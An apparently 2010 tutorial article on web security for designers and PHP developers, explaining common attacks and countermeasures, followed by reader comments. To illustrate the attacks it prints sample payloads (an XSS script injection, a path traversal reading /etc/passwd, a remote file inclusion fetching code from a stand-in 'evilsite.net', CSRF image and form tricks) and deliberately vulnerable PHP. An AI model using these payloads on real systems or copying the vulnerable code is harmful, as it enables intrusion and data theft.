Web Security: Are You Part Of The Problem?

Advertisement

Website security is an interesting topic and should be high on the radar of anyone who has a Web presence under their control. Ineffective Web security leads to all of the things that make us hate the Web: spam, viruses, identity theft, to name a few.

The problem with Web security is that, as important as it is, it is also very complex. I am quite sure that some of you reading this are already part of an network of attack computers and that your servers are sending out spam messages without you even knowing it. Your emails and passwords have been harvested and resold to people who think you need either a new watch, a male enhancement product or a cheap mortgage. Fact is, you are part of the problem and don’t know what you did to cause it.

The reason is that security experts don’t like to talk too much in public about what they do and where the issues lie; and sadly enough, they can also come across as arrogant in their views. This could be the result of people not taking security seriously and not following the most basic advice, such as using passwords that are clever, not “password” or “letmein.”

Another reason is those tutorials that show you how to “do something in five minutes” and conveniently neglect to mention the security implications of their advice. If it sounds too easy to be true, it probably is. A perfect example of this is PHP solutions that use a file for data storage and ask you to make it writable to the world. This is easy to implement, but it means that any spammer can write to this file.

Disclaimer: the things we’ll talk about in this article today won’t make you a security expert, just as buying a Swiss Army knife won’t make you a locksmith or buying a whip won’t make you a lion tamer. The purpose here is to raise awareness and perhaps make some of that security mumbo-jumbo a bit more understandable to you.

An Interesting Report On Web Security

Web security company Cenzic released a report detailing trends and numbers related to Web security for the first and second quarters of 2009. A PDF of the report is available1, and the numbers are telling:

Web Vulnerabilities Q1/Q2 2009.2
PDF: Web Vulnerabilities Q1/Q2 20093.

Among the most serious vulnerabilities were path traversal, cross-site scripting, cross-site request forgery and SQL injection. Unmentioned are a newer threat, clickjacking, and a user interface issue called phishing. You may have to deal with all of these as a Web developer if you touch PHP and HTML, CSS and JavaScript. Even if you don’t use PHP, you could still cause a lot of problems. Even if you don’t touch code and simply design, you could be a great asset in this area. You could help make the Web safer by making security issues understandable to your users.

Let’s go through all of these things and explain what they are and do. The first thing you need to know, though, is how URIs work.

URIs: The Main Way To Attack A Web Service

The address of any document (i.e. file on the Internet) is its Uniform Resource Identifier4 (URI). This is what you enter in the browser bar to access the document and what you embed into code to point to the document. For example, my website address is http://icant.co.uk, and the document you see when you open it in a browser is http://icant.co.uk/index.php (the server automatically redirects to that document). The logo image resides at the URI http://icant.co.uk/iconslogo.png, and the image of me pointing at you is on a totally different server and has the URI http://farm4.static.flickr.com/3172/3041842192_5b51468648.jpg.

All of these URIs are okay for you to access. Some URIs, though, contain information that should not be accessible to the outside world. For example, the /etc/password folder on a server contains password and user information that should not leak to the Internet.

Every URI can also contain parameters. These are instructions you can send to the script located at that URI and that are appended to the URI starting with a ? and separated by ampersands. If you want to search for puppies on Google, for example, you can use the URI http://www.google.com/search?q=puppies, and if you want to begin your search after the first 50 results, you can use http://www.google.com/search?q=puppies&start=50.

Normally, these parameters are not entered by end users but rather come from the HTML interface. If you look at the source code of the Google home page and get rid of the painful bits, you end up with the following form:

<form name="f" action="/search">
  <input type="hidden" value="en" name="hl"/>
  <input type="hidden" value="hp" name="source"/>
  <input name="q"/>
  <input type="submit" name="btnG"/>
  <input type="submit" name="btnI"/>
  <input type="hidden" name="aq"/>
  <input type="hidden" name="oq"/>
  <input type="hidden" name="aqi"/>
</form>

So in essence, this form sends the content of all of these fields to the URI search and appends them to that URI. This is how you end up with this,

http://www.google.com/search?hl=en&source=hp&q=puppies&aq=f&oq=&aqi=

when you submit the form. Notice, for instance, that I have no btnG parameter because I used the Enter key to submit the form.

On the search results page, you can see the pagination links at the bottom (the 1 2 3 and so on under the Gooooooogle logo), and you can see that these links send the same data to the URI and add a start parameter:

<a href="/search?hl=en&amp;q=puppies&amp;start=40&amp;sa=N">5</a>

You can send parameters to a script with the URI via form fields, links or any other thing in HTML that contains a URI: images, link elements, frames, anything that can take an href or src attribute. If an attacker can override any of these or add a new image to your HTML without you knowing it, they could point to their own URIs and send their own parameters.

You have to be careful with what your parameters contain and where they point to, which could be someone else’s server (to get more code) or sections of your own server that you don’t want to show or send to another server.

Different Types Of Attacks. What Do These Words Mean?

Let’s quickly go through the different items mentioned in the graph above, explaining what they are and what they mean.

SQL Injection

With an SQL injection5, an attacker accesses your database by sending an SQL command to your server via the URI or form fields. This is easily worked around by sanitizing6, but neglecting to do so can be fatal for your website, as the following XKCD comic97 shows:

comic showing how SQL injection would delete a database8
XKCD comic97 showing how SQL injection would delete a database.

Cross-Site Scripting (XSS)

Cross-site scripting is probably the biggest and most common problem. With it, an attacker injects JavaScript code into your document by adding it to the end of the URI as a parameter or in a form field.

Say you want to be cool and allow visitors to customize certain colors on your page. You could do this easily in PHP:

<?php
  // predefine colors to use
  $color = 'white'; 
  $background = 'black'; 
  // if there is a parameter called color, use that one
  if(isset($_GET['color'])){
    $color = $_GET['color'];
  }
  // if there is a parameter called background, use that one
  if(isset($_GET['background'])){
    $background = $_GET['background'];
  }
?>

<style type="text/css" media="screen">
  #intro{
    /* color is set by PHP */
    color:<?php echo $color;?>;
    /* background is set by PHP */
    background:<?php echo $background;?>;
    font-family:helvetica,arial,sans-serif;
    font-size:200%;
    padding:10px;
  }
</style>

<p id="intro">Cool intro block, customizable, too!</p>

So far, everything’s kosher, and we’re not even using inline styles! If you save this now as test.php and call it on your server in your browser as the URI http://example.com/test.php, you will get a text intro block that is black on white. The $_GET[] variables come from the URI as parameters, and because they are not set, nothing changes. If you want the colors to be red on pink, you can do this: http://example.com/test.php?color=red&background=pink.

But because you allow any value for the variables, an attacker could send the following:

http://example.com/test.php?color=green&background=</style><script>alert(String.fromCharCode(88,83,83))</script>

This would effectively close the style block prematurely and add a script to the document. In this case, all we would be doing is writing out the word XSS, but we could do anything that a JavaScript is allowed to do. You can see the results in the following screenshot:

XSS example.10
Large view11

Once you have successfully injected JavaScript, you will be able to read out cookies; open forms that ask the user to enter their passwords or credit card details; execute viruses, worms and “drive-by downloads”; the lot. The reason is that JavaScript is not bound by any security model; any script on the page has the same rights, no matter which server it has come from. This is a big security problem with JavaScript and is something clever people are working on.

XSS is a very common problem. Websites such as XSSED.org12 have a field day showing the world just how many websites are vulnerable:

XSSed.org lists cross-site-scripting vulnaribilities.13

The remedy for XSS is to be very paranoid about anything that comes via forms or the URI. You also need to be sure that your PHP is set up properly (we’ll come back to some ways to test for that and to write good code later on).

Path Traversal

Allowing for path or directory traversal on your server is an amazingly bad idea. You would be allowing people to list the folders on your server and to navigate from folder to folder. This allows attackers to go to folders with sensitive information or website functionality and have some fun. The following screenshot is of me accessing the database of a sandwich company, sending emails from their server and reading the order logs:

An unprotected cgi_bin will hurt you.14
Large view15

I was able to get all of this information simply by accessing the cgi-bin folder, which was unprotected from being listed. So, instead of going to http://example.com, I went to http://example.com/cgi-bin/ in my browser. I knew something was wrong on their big Flash website when I clicked on the menu. It popped up in a new window and had a URI like

http://www.example.com/cgi/food_db/db.cgi?db=default&uid=default&Category=Sandwiches&Subcategory=Sandwiches&Product=Chicken%20and%20Bacon&Soup_size=&Drinks_milk_type=&ww=on&view_records=yes

which gave me all the information I needed to play around.

The other problem of allowing folders to be listed is that search engines will index your information, allowing anyone to use Google as a hacking tool. As servers create a page with a title and a headline of the folder name, these are indexed by Google.

You could search for, say, “index of /ebooks”16 to find electronic books online or “index of /photos”17 to find photos. To see search tests such as this one, check out the Google a Dream Come True18 article, which listed many of them in 2003(!).

This method of searching worked much better in the past, by the way: not because people protect their servers better now, but because spammers who offer fake pirated products realize that people do these searches and fake it now to optimize their own websites’ search engine rankings.

Cross-Site Request Forgery

Cross-site request forgery19 (CSRF) exploits browsers and websites that allow for functionality to be called without really knowing that an actual user initiated it. Say you have a form on your website http://example.com that works with GET and sends things to your database:

<form method="get" action="add_to_db.php">
  <div>
    <label for="name">Name</label>
    <input type="text" id="name" name="name">
  </div>
  <div>
    <label for="email">email</label>
    <input type="text" id="email" name="email">
  </div>
  <div>
    <label for="comment">Comment</label>
    <textarea id="comment" name="comment"></textarea>
  </div>
  <div><input type="submit" value="tell me more"></div>
</form>

Forms can be sent by two methods: GET adds all of the parameters to the URI visibly in the address bar, whereas POST sends them “under the hood.” POST also allows you to send much more data. This is a simplification but all you need to know for now.

If the script that adds to the database doesn’t check that the form was really sent from your server, I could add an image to any website by doing this:

<img src="http://example.com/add_to_db.php?
name=cheap%20rolex&email=susan@hotchicks.com&comment=mortgage%20help" width="1" height="1">

Anybody coming to my website would now be putting another comment into your database. I could use an image or CSS link or script or anything that allows for a URI to be defined and loaded by a browser when the HTML renders. In CSS, this could be a background image.

CSRF becomes even more dangerous when you are logged into and authenticated by a particular system. An image in any other tab in your browser could execute a money transfer, read your emails and send them on and many other evil things.

A really interesting case of CSRF (albeit an innocent one) occurred in 2006, when Google released its now discontinued Web accelerator tool (GWA)20. The idea was to pre-fetch websites that were linked to from the current document, thus making surfing faster. All well and good… until you ended up with delete links in websites that worked like this:

<a href="/app/delete_entry.php?id=12">delete</a>

Because some applications did not check if this was an initiated deletion or an attempt of GWA to pre-load the page, the tool deleted whole blogs and product databases. Google did nothing wrong, but the community learned a lot about CSRF that day.

Now, you might suppose that moving your forms from GET to POST would make them safe, right? Partially, yes, but an attacker could still use a form and trick people into clicking a button to make the request:

<form method="post" action="add_to_db.php">
  <div>
    <input type="hidden" name="name" value="bob">
    <input type="hidden" name="email" value="bob@experts.com">
    <input type="hidden" name="comment" 
           value="awesome article, buy cialis now!">
  <input type="submit" value="see beautiful kittens now!">
  </div>
</form>

You could even use JavaScript to automatically send the form or a script on another server to do the POST request from the back-end. There are many ways to exploit CSRF, and protecting against it is not that hard21.

Remote File Inclusion (RFI)

With Remote file inclusion22 or code injection23, an attacker uses a flaw in your website to inject code from another server to run on yours. It is in the same family as XSS but much more problematic because you have full access to your server (with JavaScript, you can steal cookies and call other code, but you can’t access the file system without resorting to tricks with Flash or Java Applets).

Any code injected to your server with an untested variable and include() command, for example, could run server commands: upload and download and transfer data to other servers, check your server passwords and user names, anything you can do on the command line via PHP or ASP if your server allows for it.

This is probably the worst that can happen to your server, because with command line access, I could turn it into an attack machine for a server network attack, silently listen to everything you and your users do on the server and send it to another Web resource, store information and viruses for distribution, inject spam links, you name it.

The workaround is to turn off globals and to never ever assemble a URI from parameter or form data. (More on that later in the PHP section of the tips.)

Phishing

Phishing24 is the technique of fooling people into entering information into a bad website. You show end users an interface that looks legit (for a bank or what have you) but that in reality sends their information to your database. Because phishing is a felony, I cannot show you a demo.

The trick with phishing is to make the form really look like it comes from a website you trust. You have probably gotten emails saying that your “XYZ bank account” has been compromised, and you know for certain that this isn’t the case because you have no account with that bank and may not have even heard of it. This is a wild-guess phishing attempt, which is not usually effective.

On the Web, though, an attacker can perform a JavaScript trick to find out where you’ve been. As Jeremiah Grossman showed some years ago25, you can use JavaScript to determine the state of a link on the page. Because the colors of visited and unvisited links are different, we can use this technique to figure which websites a user has been to and then display the appropriate logo above the form. This demo shows this quite effectively26. Funny enough, you can also use this trick for good; for example, by showing people only the buttons of social media websites they use27.

Clickjacking

Clickjacking28 is a terribly clever way to use CSS and inline frames to trick users into clicking something without knowing it. Probably the most famous example of this was the “Don’t click me” exploit of Twitter a few months ago. All of a sudden, Twitter was full of messages pointing to a website with a button that read “Don’t click me”. Here is an examples for Jason Kottke’s stream:

The don't click Twitterbomb in action.29
Twitter’s “Don’t Click” prank, explained30

Human nature being what it is, many people clicked the button, which seemingly did nothing. What it actually did, though, was put your Twitter home page on top of the button as a frame, with an opacity of 0 in the CSS. The update field was pre-set with the tweet pointing to the page. The following screenshot makes this obvious, with the opacity set here to 0.5:

How the clickjacking twitter bomb worked.

By clickjacking, you can make end users do things without knowing it. Every action on a website that can be performed with a simple click can be exploited with this trick.

Clickjacking is a massive problem because it is done via CSS, not a script. Unless browsers block frames from having an opacity of 0, there is no simple workaround. The main counter-measure people take is to disallow embedding in frames using JavaScript. However, with JavaScript off, clickjacking still works.

Basic Ways To Increase Web Security

Now that you know a bit about what can be done to your website by the bad guys, here are some ways to fight them off.

Keep Code Up to Date

There is no better protection than keeping your code up to date. Outdated versions of WordPress, old installs of PHP and MySQL, even old browsers, all of these are security issues because most updates to software these days are security patches. It is a rat race between those who want the Web to work and those who want to abuse it to make a quick buck or to steal your identity. So please help the good guys by upgrading whenever a new version is out.

Don’t Stay Logged In, and Don’t Entice Others to Either

Staying logged in while not using a system is dangerous. Other websites you surf to can check that you are logged in and then clickjack you to make you do something you don’t mean to or aren’t aware of. This is especially dangerous with social media because everything you do will be sent to all your friends and probably replicated by them. It is a snowball effect.

In my perfect world, no form has a “Keep me logged in” option, which of course would be a nuisance to end users. I would love to see a clever, usable solution to this problem. I use a Flex client for Twitter, not a browser, which means I am not vulnerable even on websites with clickjacking and cross-site request forgery (the latter only if people do not abuse the API to phish my followers; see the presentations at the end of this article for a demo of that).

Use Clever Passwords, and Entice Users to Do the Same

Even on bullet-proof systems, one attack vector is users whose passwords are very easy to guess. I change my passwords every few weeks, and I take inspiration from a book I am reading or a movie I have just seen. I also replace some characters and with numbers to make dictionary attacks harder.

There are two ways to crack a password (other than social engineering, which is making you tell me your password by tricking you or phishing): brute force and dictionary attacks. Brute force entails writing a loop that tries all of the different options (much like playing hangman), which can take ages and uses a lot of computing power. Dictionary attacks use a dictionary database to attempt common words instead of going letter by letter.

Say I am reading a Sherlock Holmes book or have just seen the new screen adaptation, my password could be Sh3rl0ckW4t50n or b4sk3rv!ll3. That may be a bit hardcore for most people but is generally a good idea. Another strategy is to take a sentence that you can memorize easily and string together the initial letters. For example, “I like to buy food for my dog and to walk with it” would be Il2bffmda2wwi or even Il2bffmd&2wwi.

So, if you build a new Web product that needs authentication, and you really need to build your own log-in system rather than use Google, Yahoo, Facebook Connect or OpenID (which might be a good idea), please do not allow users to use passwords like “password” or the not-much-safer “password1.” Recently, a list of passwords banned by Twitter31 leaked onto the Web, shown here as the full code32. This is a good idea (the list, that is, not the leak).

What To Do On Your Server

Even if you are not a server expert, that’s no excuse for running an insecure server. Here are some things to make sure of.

Turn Off Folder Listing

As explained earlier, allowing people to navigate your folders (i.e. path traversal) is a bad idea. Testing whether your server has path traversal turned on is easy:

  1. Create a new folder on the server; for example, pathtest.
  2. Add some files to the folder. But do not add index.html, index.php, default.aspx or whatever else your server uses as the default file name.
  3. Check the folder in your browser; for example, by going to http://example.com/pathtest/
  4. If you can see a listing, contact your server admin to turn that off!

Harden Your PHP

If you have a server with PHP, be aware that you are in control of a powerful tool. The worst oversight someone could make is to allow any parameter that comes in from the URI to become a global variable. This is turned off by default on PHP installs in version 4.2.0 and onward, but your configuration may have changed. In fact, some tutorials recommend that you turn it on for a script to work: this is a very, very bad idea.

You can easily test if globals are enabled:

  1. Create a new file named test.php.
  2. Add the following code to it:
    <?php echo "*".$ouch.'*';?>
  3. Upload the file to your server.
  4. Browse to the file, and send a parameter called ouch; for example: http://example.com/test.php?ouch=that+hurts
  5. If your browser shows “*that hurts*”, then your server has globals registered.
  6. Contact your server admin to get this fixed!

Why is this important? Well, in our explanation of XSS earlier, we talked about attackers being able to add code to your page using the URI parameters in your script. If you don’t turn off globals, any variable you use and write out could become an attack. Even worse, consider the following code:

if($_POST['username'] == 'muppet' && 
   $_POST['password'] == 'password1') {
    $authenticated = true;
}
if($authenticated) {
  // do something only admins are allowed to do 
}

If this is checkuser.php and global registering is on, then an attacker could call this in the browser as http://example.com/checkuser.php?authenticated=true and could work around the whole user checking; his authentication as $_GET['authenticated'] automatically turns into $authenticated.

Turn Off Error Messages

A lot of servers are set up to show you error messages when the browser encounters a problem. These messages often look cryptic, but they are a great source of information for attackers.

Creating an error and seeing what the server spits out is one of the first steps in checking the folder structure of a server. Funnily enough, error pages stating “File XYZ could not be found” were one of the first XSS attack opportunities, because you could look for a file named <script>alert(document.cookie),</script>.

Automatically Checking PHP for Security Issues

Uploading PHPSecInfo33 to a folder is a pretty handy way to perform a quick audit of your PHP server’s security. Opening it in your browser gives you a detailed checklist of common security flaws and how they should be fixed.

But never leave this on a live server because it gives attackers a lot of details about your set-up!

PHPSecInfo gives you detailed security information about your PHP setup34
PHPSecInfo gives you detailed security information about your PHP setup.

What To Do To Your Code

Because you likely do not have much to do with your server let’s focus on things you do have full control of.

HTML

HTML is pretty safe. It is simply converted into text—no interaction with the server or calculations—so not much can go wrong. That said, you should always use HTML for what it’s for:

  • HTML structures your content.
    HTML is not a database to store information. The reason it is not is because you cannot rely on HTML content to stay unchanged. Anyone could use browser debugging tools to mess around with your HTML and change the content. So you run into security issues with JavaScript solutions that rely on data in the HTML and don’t check the server for what that data is allowed to be.
  • HTML is fully visible.
    Don’t use comments in the HTML to store sensitive information, and don’t comment out sections of a page that are not ready yet but that point to parts of an application that are in progress.
  • Hiding things doesn’t make them go away.
    Even if you hide information with CSS or JavaScript, some people can get it anyway. HTML is not there to give your application functionality; that should always happen on the server.

A wonderful example of insecure HTML was the drop-down menu on the website of a certain airline. This menu let you define the seating class you wanted to fly in as the last step before printing your voucher. The website rendered the HTML of the drop-down menu and commented out the sections that were not available for the price you had selected:

<select name="class">
  <option value="ec">Economy</option>
  <option value="ecp">Economy Plus</option>
  <!--
  <option value="bu">Business</option>
  <option value="fi">First</option>
  -->
</select>

The server-side code did not check to see whether you were eligible for a first-class ticket; it simply relied on the option not being available. The form was then sent via JavaScript. So, all you had to do to get a first-class ticket for the price of an economy seat was use FireBug35 to add a new option to the form, select the value you wanted and send it off.

CSS

CSS is not really capable of doing much to the document and cannot access the server… for now. One problem with CSS is background images that point to URIs. You can inject code by somehow overriding these. The same applies to the @import property for other style sheets.

Using expression() in Internet Explorer to make calculations (or, as in most cases, to simulate what other browsers can already do) is dangerous, though, because what you are doing in essence is executing JavaScript inside a CSS block. So, don’t use it.

CSS changing a lot now, and we are giving it more power than ever before. Generating content with CSS, animation, calculations and font embedding all sound absolutely cool, but I get a prickly feeling in the back of my neck when I look at it right now.

Attack vectors have two features: they have the power to change the content of a document, and they are technologies that are not proven and are changing constantly. This is what CSS 3 is right now. Font-embedding in particular could become a big security issue, because fonts are binary data that could contain anything: harmless characters as well as viruses masquerading as a nice charset. It will be interesting to see how this develops.

JavaScript

JavaScript makes the Web what it is today. You can use it to build interfaces that are fun to use and that allow visitors to reach their goals fast and conveniently. You can and should use JavaScript for the following:

  • Create slicker interfaces (e.g. auto-complete, asynchronous uploading).
  • Warn users about flawed entries (password strength, for instance).
  • Extend the interface options of HTML to become an application language (sliders, maps, combo boxes, etc.)
  • Create visual effects that cannot be done safely with CSS (animation, menus, etc.)

JavaScript is very powerful, though, which also means that it is a security issue:

  • JavaScript gives you full access to the document and allows you to post data to the Internet.
  • You can read cookies and send them elsewhere.
  • JavaScript is also fully readable by anyone using a browser.
  • Any JavaScript on the page has the same rights as the others, regardless of where it came from. If you can inject a script via XSS, it can do and access whatever the other scripts can.

This means you should not try to do any of the following in JavaScript:

  • Store sensitive information (e.g. credit card numbers, any real user data).
  • Store cookies containing session data.
  • Try to protect content (e.g. right-click scripts, email obfuscation).
  • Replace your server or save on server traffic without a fallback.
  • Rely on JavaScript as the only means of validation. Attackers can turn off JavaScript and get full access to your system.
  • Trust any JavaScript that does not come from your server or a similar trusted source.
  • Trust anything that comes from the URI, HTML or form fields. All of these can be manipulated by attackers after the page has loaded. If you use document.write() on unfiltered data, you expose yourself to XSS attacks.

In other words, AJAX is fun, but do not rely on its security. Whatever you do in JavaScript can be monitored and logged by an end user with the right tools.

PHP (or Any Server-Side Language)

Here be dragons! The server-side language is where you can really mess up if you don’t know what you’re doing. The biggest problems are trusting information from the URI or user entry and printing it out in the page. As shown earlier in the XSS example with the colors, you will be making it easy to inject malicious code into your page.

There are two ways to deal with this: whitelisting and proper filtering.

Whitelisting is the most effective way to make sure nothing insecure gets written out. The trick is easy: don’t use information that gets sent through as the output; rather, just use it in conditions or as lookups.

Let’s say you want to add a file on demand to a page. You currently have these sections on the page: About Us, Contact, Clients, Portfolio, Home, Partners. You could store the data of these in about-us.php, contact.php, clients.php, portfolio.php, index.php and partners.php.

The amazingly bad way to do this is probably the way you see done in many tutorials: a file called something like template.php, which takes a page parameter with the file name.

The template then normally contains something like this:

<?php include($_GET['page']);?>

If you call http://example.com/template.php?page=about-us.php, this would load the “About Us” document and include it in the template where the code is located.

It would also allow someone to check out all of the other interesting things on your server. For example, http://example.com/template.php?page=../../../../../../../../etc/passwd%00 or the like would allow an attacker to read your passwd file.

If your server allows for remote files with include(), you could also inject a file from another server, like http://example.com/template.php?page=http://evilsite.net/exploitcode/2.txt?. Remember, these text files will be executed as PHP inside your other PHP file and thus have access to everything. A lot of them contain mass-mailers or check your system for free space and upload options to store data.

In short: never, ever allow an unfiltered URI parameter to become part of a URI that you load in PHP or print out as an href or src in the HTML. Instead, use pointers:

<?php
$sites = array(
  'about'=>'about-us.php',
  'contact'=>'contact.php',
  'clients'=>'clients.php',
  'portfolio'=>'portfolio.php',
  'home'=>'index.php',
  'partners'=>'partners.php'
);
if( isset($_GET['page']) && 
    isset($sites[$_GET['page']]) && 
    file_exists($sites[$_GET['page']]) ){
      include($sites[$_GET['page']]);
} else {
  echo 'This page does not exist on this system.';
}
?>

This way, the parameters become not a file name but a word. So, http://example.com/template.php?page=about would include about-us.php, http://example.com/template.php?page=home would include index.php and so on. All other requests would trigger the error message. Note that the error message is in our control and not from the server; or else you might display information that could be used for an exploit.

Also, notice how defensive the script is. It checks if a page parameter has been sent; then it checks if an entry for this value exists in the sites array; then it checks if the file exist; and then, and only then, it includes it. Good code does that… which also means it can be a bit bigger than expected. That’s not exactly “Build your own PHP templating system in 20 lines of code!” But it’s much better for the Web as a whole.

Generally, defining all of the variables you will use before you use them is a good idea. This makes it safer even in PHP set-ups that have globals registered. The following cannot be cracked by calling the script with an authenticated parameter:

$authenticated = false;
if($_POST['username'] == 'muppet' && 
   $_POST['password'] == 'password1') {
    $authenticated = true;
}
if($authenticated) {
  // do something only admins are allowed to do 
}

The demo we showed earlier makes it possible to work around this, because $authenticated was not pre-set anywhere.

Writing your own validator function is another option. For example, the color demo could be made secure by allowing only single words and numbers for the colors.

$color = 'white'; 
$background = 'black'; 
if(isset($_GET['color']) && isvalid($_GET['color'])){
  $color = $_GET['color'];
  if(ishexcolor($color)){
    $color = '#'.$color;
  }
}
if(isset($_GET['background']) && isvalid($_GET['background'])){
  $background = $_GET['background'];
  if(ishexcolor($background)){
    $background = '#'.$background;
  }
}
function isvalid($col){
  // only allow for values that contain a to z or 0 to 9
  return preg_match('/^[a-z0-9]+$/',$col);
}
function ishexcolor($col){
  // checks if the string is 3 or 6 characters
  if(strlen($col)==3 || strlen($col)==6){
    // checks if the string only contains a to f or 0 to 9
    return preg_match('/^[a-f0-9]+$/',$col);
  }
}

This allows for http://example.com/test.php?color=red&background=pink or http://example.com/test.php?color=369&background=69c or http://example.com/test.php?color=fc6&background=449933, but not for http://example.com/test.php?color=333&background=&lt/style>. This keeps it flexible for the end user but still safe to use.

If you are dealing with content that cannot be easily whitelisted, then you’ll need to filter out all the malicious code that someone could inject. This is quite the rat-race because new browser quirks are being found all the time that allow an attacker to execute code.

The most basic way to deal with this is to use the native PHP filters on anything that comes in36. But a quite sophisticated package called HTML Purifier37 is also available.

Housekeeping

One very important part of security is keeping your server clean. If you have old, insecure code lying around, it won’t matter whether your main website is hardened and up to date with the best security measures. Your server is as vulnerable as its weakest and least-maintained code.

Check what you have on your server from time to time, and delete or move things that you are not interested in any more or couldn’t be bothered to maintain. Instead of deleting code, you could move it to a repository such as Google Code38 or GitHub39 and redirect the old folder to it.

It is also not a good idea to use the same server to test things and run a live product. Use one server as a test platform for playing around and another for grown-up stuff. It is especially important to have a different domain for each to protect your cookies.

Check Your Log Files

Every server comes with log files that you can access. Many hosting companies even give you detailed statistics that show you where visitors have gone and what they did.

Normally, we just use these to check the number of visitors, what browsers they used, where they came from, when they came and which websites were most successful. This is what makes us happy and allows us to track our progress.

That is not really the interesting part of the statistics package or log files, though:

  • Check how many forms have been sent and who tried to send them. This is an indicator of CSRF and XSS attacks.
  • Check the server traffic and which files were frequently called. If the forms are old and not frequently used, you have a CSRF attack on your hands.
  • Search the logs for “txt?” endings, which are an indicator of RFI attacks. Try them out on your website; if they work, alarm bells should go off in your head. An exception to this is robots.txt, which is a file that search engines request before reading a folder; this is not an issue and wouldn’t be followed by a question mark anyway.
  • Check the error messages and how many of them were 404 errors (“Page not found”). Check what file names people were looking for, which folders they attempted to access and what files they tried to read.
  • Check which users tried to authenticate. If a user you don’t know was causing a lot of traffic, they already got control of your server.

Your log file is your snitch that tells on the bad guys who come around trying to mess with your server. Be wise and stay a step ahead of them.

Want To Know More?

If you want to know more about the subject, here are some presentations and resources. Please add more in the comments if you know of good ones.

(al)

Footnotes

  1. 1 http://www.cenzic.com/downloads/Cenzic_AppSecTrends_Q1-Q2-2009.pdf
  2. 2 http://www.cenzic.com/downloads/Cenzic_AppSecTrends_Q1-Q2-2009.pdf
  3. 3 http://www.cenzic.com/downloads/Cenzic_AppSecTrends_Q1-Q2-2009.pdf
  4. 4 http://en.wikipedia.org/wiki/Uniform_Resource_Identifier
  5. 5 http://unixwiz.net/techtips/sql-injection.html
  6. 6 http://en.wikipedia.org/wiki/SQL_injection
  7. 7 http://xkcd.com/327/
  8. 8 http://xkcd.com/327/
  9. 9 http://xkcd.com/327/
  10. 10 http://coding.smashingmagazine.com/wp-content/uploads/2010/01/4242086213_c3a9fae808_o.jpg
  11. 11 http://coding.smashingmagazine.com/wp-content/uploads/2010/01/4242086213_c3a9fae808_o.jpg
  12. 12 http://xssed.org/
  13. 13 http://xssed.org/
  14. 14 http://coding.smashingmagazine.com/wp-content/uploads/2010/01/menu-management.gif
  15. 15 http://coding.smashingmagazine.com/wp-content/uploads/2010/01/menu-management.gif
  16. 16 http://www.google.com/search?hl=en&q=%22index+of+%2Febooks%22
  17. 17 http://www.google.com/search?hl=en&q=%22index+of+%2Fphotos%22
  18. 18 http://gray-world.net/etc/passwd/googletut1.txt
  19. 19 http://en.wikipedia.org/wiki/Csrf
  20. 20 http://webaccelerator.google.com/
  21. 21 http://php-ids.org/category/csrfx/
  22. 22 http://en.wikipedia.org/wiki/Remote_File_Inclusion
  23. 23 http://en.wikipedia.org/wiki/Code_injection
  24. 24 http://en.wikipedia.org/wiki/Phishing
  25. 25 http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
  26. 26 http://www.debugtheweb.com/test/cssvisited.htm
  27. 27 http://www.azarask.in/blog/post/socialhistoryjs/
  28. 28 http://en.wikipedia.org/wiki/Clickjacking
  29. 29 http://dsandler.org/wp/archives/2009/02/12/dontclick
  30. 30 http://dsandler.org/wp/archives/2009/02/12/dontclick
  31. 31 http://www.gaj-it.com/14253/twitter-bans-370-passwords-too-easy-to-hack
  32. 32 http://sharetext.org/BEM
  33. 33 http://phpsec.org/projects/phpsecinfo/
  34. 34 http://phpsec.org/projects/phpsecinfo/
  35. 35 http://getfirebug.com
  36. 36 http://us2.php.net/manual/en/book.filter.php
  37. 37 http://htmlpurifier.org/
  38. 38 http://code.google.com
  39. 39 http://github.com
  40. 40 http://www.virtualforge.de/vmovie.php
  41. 41 http://www.slideshare.net/simon/when-ajax-attacks-web-application-security-fundamentals-presentation
  42. 42 http://simonwillison.net/tags/security/
  43. 43 http://developer.yahoo.net/blogs/theater/archives/2009/03/web_application_security.html
  44. 44 http://www.slideshare.net/cheilmann/web-application-security-990546
  45. 45 http://www.wait-till-i.com/2009/10/13/liberte-accessibilite-and-securite-that-was-paris-web-2009/

↑ Back to topShare on Twitter

An international Developer Evangelist working for Mozilla in the lovely town of London, England.

Advertising
  1. 1

    Thx for sharing!

  2. 2

    Good article.
    I would add one bit of advice: use a framework. There is a good chance that if you develop using a well-supported framework, you won’t have to ever deal with some of the server-side related issues.
    Of course you should still be mindful and know about all this, but many frameworks are now tackling some security aspects, like CSRFs and automatic escaping for example, and you’re better off using proven well tested solutions than constantly reinventing the wheel.

  3. 3

    That post is really great and i want to thank you for the whole “What To Do” part of it and the precise description there. Awesome!

  4. 4

    Nice article!! Nearly every type of attack has been covered in this article. This is a very helpful article for beginners in web security. Although, I am looking for some more in-depth knowledge on the various attacks that have been covered in this article. I know it’s not possible to explain everything here. Can you recommend some good books related to this topic?

  5. 5

    I love the disclaimer. More articles need to clearly express that simply regurgitating what you read on a blog does not make you an expert.

  6. 6

    Maximilian Bartel

    January 14, 2010 9:34 am

    Wow! This article was very helpful and provided a great insight into the most common security flaws – it would be nice if an article like this could make it into the next Smashing Book! :-)

  7. 7

    Wonderful article!

  8. 8

    I don’t agree completely with Cyril and using frameworks, yes this is a good way to develope a site fast, and protect against problems at that time of release. However most people don’t keep there frameworks up to date becuase of ‘Hacks’ they have made, then when a problem is found in that version of the framework (and trust me they are found) your site is on the target list.

    Just check your server logs and see how many people have tried to URI exploit phpBB or phpmyadmin..

    It is also worth pointing out, that robots.txt is important.. by correctly adding items to this list you can stop people finding the exploit in your site using google. However if you are a big company, you could be handing out the information of protected areas for free.. so be careful with this one.

  9. 9

    Such a big help! Thanks.

  10. 10

    Ok Christian,
    I fall to your feet. Brilliant article for designers who know very less about server side coding! Brilliant. :)

  11. 11

    I second that. Do not ever believe a programming framework is going to make your website secure by default. This is NOT the case. Trust me, I know what I am saying… :( The best security measure is to be paranoid about security. A good web developer does not trust anyone (in terms of programming, input validation and such).

  12. 12

    Awesome article. It’s too easy to overlook security aspects when you’re trying to get a site live, especially in a hurry. Integrating these practices into your development routine is the key!

  13. 13

    Very well written post. Many good points to remember. Thanks for taking the time to write it for us!

  14. 14

    This was a really good read for me. Thanks for the information. It will really help me in the future and it’s nice to know that I already follow some of the tips you mentioned.

  15. 15

    useless

  16. 16

    Fantastic resource I learned a lot. A good reason not use a custom CMS and go with Drupal or WordPress (as long as they are updated).

  17. 17

    Great article!
    Thanks for sharing this information. I’ve never seen such a good summary on hacks & their preventions!

  18. 18

